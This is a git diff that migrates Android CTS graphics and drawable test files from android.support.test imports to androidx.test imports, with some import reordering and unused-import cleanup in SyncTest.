diff --git a/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java b/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
index 2094d00..a4915b7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
@@ -32,9 +32,10 @@
import android.graphics.Rect;
import android.graphics.RectF;
import android.graphics.Region;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java b/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
index b9a667e..db6910e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
@@ -23,8 +23,9 @@
import android.graphics.Outline;
import android.graphics.Path;
import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
index e466099..40a77c8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
@@ -27,8 +27,9 @@
import android.graphics.Paint.Align;
import android.graphics.PaintFlagsDrawFilter;
import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 3a539b8..f36aa5d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -39,18 +39,19 @@
import android.graphics.Typeface;
import android.graphics.Xfermode;
import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannedString;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.Locale;
-import com.android.compatibility.common.util.CddTest;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class PaintTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
index 08fb649..22e63a3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
@@ -20,8 +20,9 @@
import android.graphics.Paint;
import android.graphics.Paint.Align;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
index b16cf0d..d1f4c3b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
@@ -20,8 +20,9 @@
import android.graphics.Paint;
import android.graphics.Paint.Cap;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
index 56cabe1..c50c02b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
@@ -20,8 +20,9 @@
import android.graphics.Paint;
import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
index c203794..07083a7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
@@ -20,8 +20,9 @@
import android.graphics.Paint;
import android.graphics.Paint.Join;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
index 0752898..38bc0ff 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
@@ -20,8 +20,9 @@
import android.graphics.Paint;
import android.graphics.Paint.Style;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
index 9cc9c7e..74e78b3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
@@ -27,8 +27,9 @@
import android.graphics.Path.Direction;
import android.graphics.PathDashPathEffect;
import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
index d4e95e0..e86ec78 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
@@ -19,8 +19,9 @@
import static org.junit.Assert.assertEquals;
import android.graphics.PathDashPathEffect.Style;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
index d7f313b..272497e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
@@ -17,8 +17,9 @@
package android.graphics.cts;
import android.graphics.PathEffect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java b/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
index 560bce3..392cf34 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
@@ -24,8 +24,9 @@
import android.graphics.Path;
import android.graphics.Path.Direction;
import android.graphics.PathMeasure;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathTest.java b/tests/tests/graphics/src/android/graphics/cts/PathTest.java
index d9fae11..90882c0 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathTest.java
@@ -28,8 +28,9 @@
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java b/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
index fb9c39f..0cdd082 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
@@ -19,8 +19,9 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Path.Direction;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java b/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
index 17f5f87..009ae6f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
@@ -19,8 +19,9 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Path.FillType;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PictureTest.java b/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
index d83eecf..ab27da4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
@@ -28,8 +28,9 @@
import android.graphics.Paint.Style;
import android.graphics.Picture;
import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
index e54bef9..648fce1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
@@ -21,8 +21,9 @@
import static org.junit.Assert.assertTrue;
import android.graphics.PixelFormat;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PointFTest.java b/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
index 5d2ec5b..ba49e42 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
@@ -23,8 +23,9 @@
import android.graphics.Point;
import android.graphics.PointF;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PointTest.java b/tests/tests/graphics/src/android/graphics/cts/PointTest.java
index d01f551..9b9284d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PointTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PointTest.java
@@ -23,8 +23,9 @@
import android.graphics.Point;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
index 0beadae..e39291d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
@@ -24,8 +24,9 @@
import android.graphics.Paint;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffColorFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java b/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
index 1a47f44..5443983 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
@@ -24,8 +24,9 @@
import android.graphics.Paint;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
index d133bb9..fad27b3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
@@ -24,8 +24,9 @@
import android.graphics.Paint;
import android.graphics.RadialGradient;
import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ColorUtils;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectFTest.java b/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
index 10ca0a6..1c44c1c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
@@ -24,8 +24,9 @@
import android.graphics.Rect;
import android.graphics.RectF;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectTest.java b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
index d968af2..90943ce 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
@@ -24,8 +24,9 @@
import android.graphics.Rect;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java b/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
index 6ac3552..a6bbced 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
@@ -24,8 +24,9 @@
import android.graphics.Rect;
import android.graphics.Region;
import android.graphics.RegionIterator;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RegionTest.java b/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
index f7084cb..a6b482e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
@@ -25,8 +25,9 @@
import android.graphics.Rect;
import android.graphics.Region;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java b/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
index be31672..9c2651c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
@@ -19,8 +19,9 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Region.Op;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
index 7c18fe9..a393ae8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
@@ -25,8 +25,9 @@
import android.graphics.Color;
import android.graphics.Matrix;
import android.graphics.Shader;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
index 47c49de..455f59e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
@@ -19,8 +19,9 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
index d6eac97..207f74e6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
@@ -30,8 +30,9 @@
import android.graphics.Path.Direction;
import android.graphics.PathEffect;
import android.graphics.SumPathEffect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
index cb7ec0a..a627d7f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
@@ -27,10 +27,11 @@
import android.graphics.Rect;
import android.graphics.Shader;
import android.graphics.SweepGradient;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.ColorUtils;
import org.junit.Before;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SyncTest.java b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
index a82adfc..3187871 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
@@ -16,18 +16,13 @@
package android.graphics.cts;
-import static org.junit.Assert.assertEquals;
import static android.opengl.EGL14.*;
import android.opengl.EGL14;
import android.opengl.EGLConfig;
-import android.opengl.EGLContext;
import android.opengl.EGLDisplay;
-import android.opengl.EGLSurface;
-import android.opengl.GLES20;
-import android.support.test.filters.SmallTest;
-import java.util.concurrent.CyclicBarrier;
+import androidx.test.filters.SmallTest;
import org.junit.After;
import org.junit.Before;
@@ -35,7 +30,6 @@
import org.junit.runner.RunWith;
import org.junit.runners.BlockJUnit4ClassRunner;
-
// This class contains tests for the Linux kernel sync file system, and the NDK interfaces for it
// (android/sync.h). Unfortunately, the interfaces exposed by the kernel make it difficult to test
// for a couple reasons:
@@ -53,7 +47,6 @@
// signal them has been submitted to the kernel, and will complete without further action from
// userland. This means that it is impossible to reliably do something before a sync file has
// signaled.
-
@SmallTest
@RunWith(BlockJUnit4ClassRunner.class)
public class SyncTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 425b8a5..018e5dc 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -31,9 +31,10 @@
import android.graphics.Paint;
import android.graphics.Typeface;
import android.graphics.Typeface.Builder;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 2fe4352..a3fc2d3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -23,11 +23,14 @@
import android.content.pm.FeatureInfo;
import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
@@ -36,7 +39,6 @@
import org.junit.runner.RunWith;
import java.io.UnsupportedEncodingException;
-import com.android.compatibility.common.util.CddTest;
/**
* Test that the Vulkan loader is present, supports the required extensions, and that system
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
index d368f0e..de60931 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
@@ -25,14 +25,15 @@
import android.graphics.Color;
import android.graphics.Rect;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
import android.view.PixelCopy;
import android.view.SurfaceView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SynchronousPixelCopy;
import org.junit.Before;
diff --git a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
index bebdc58..ad8f0af 100644
--- a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
@@ -28,11 +28,12 @@
import android.graphics.ImageFormat;
import android.graphics.Rect;
import android.graphics.YuvImage;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
index 8def08f..8da1c34 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
@@ -25,13 +25,14 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Log;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
index 99d1327..fc5e954 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
@@ -30,10 +30,12 @@
import android.graphics.Region.Op;
import android.graphics.drawable.AdaptiveIconDrawable;
import android.graphics.drawable.ColorDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
index 0266e34..5fbc99c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
@@ -17,8 +17,9 @@
package android.graphics.drawable.cts;
import android.graphics.drawable.Animatable2.AnimationCallback;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 3780124..b2281b2 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -39,12 +39,13 @@
import android.graphics.drawable.AnimatedImageDrawable;
import android.graphics.drawable.Drawable;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.widget.ImageView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.BitmapUtils;
import org.junit.Before;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
index 8fad002..cc80f97 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
@@ -37,12 +37,13 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.DrawableContainer.DrawableContainerState;
import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.StateSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
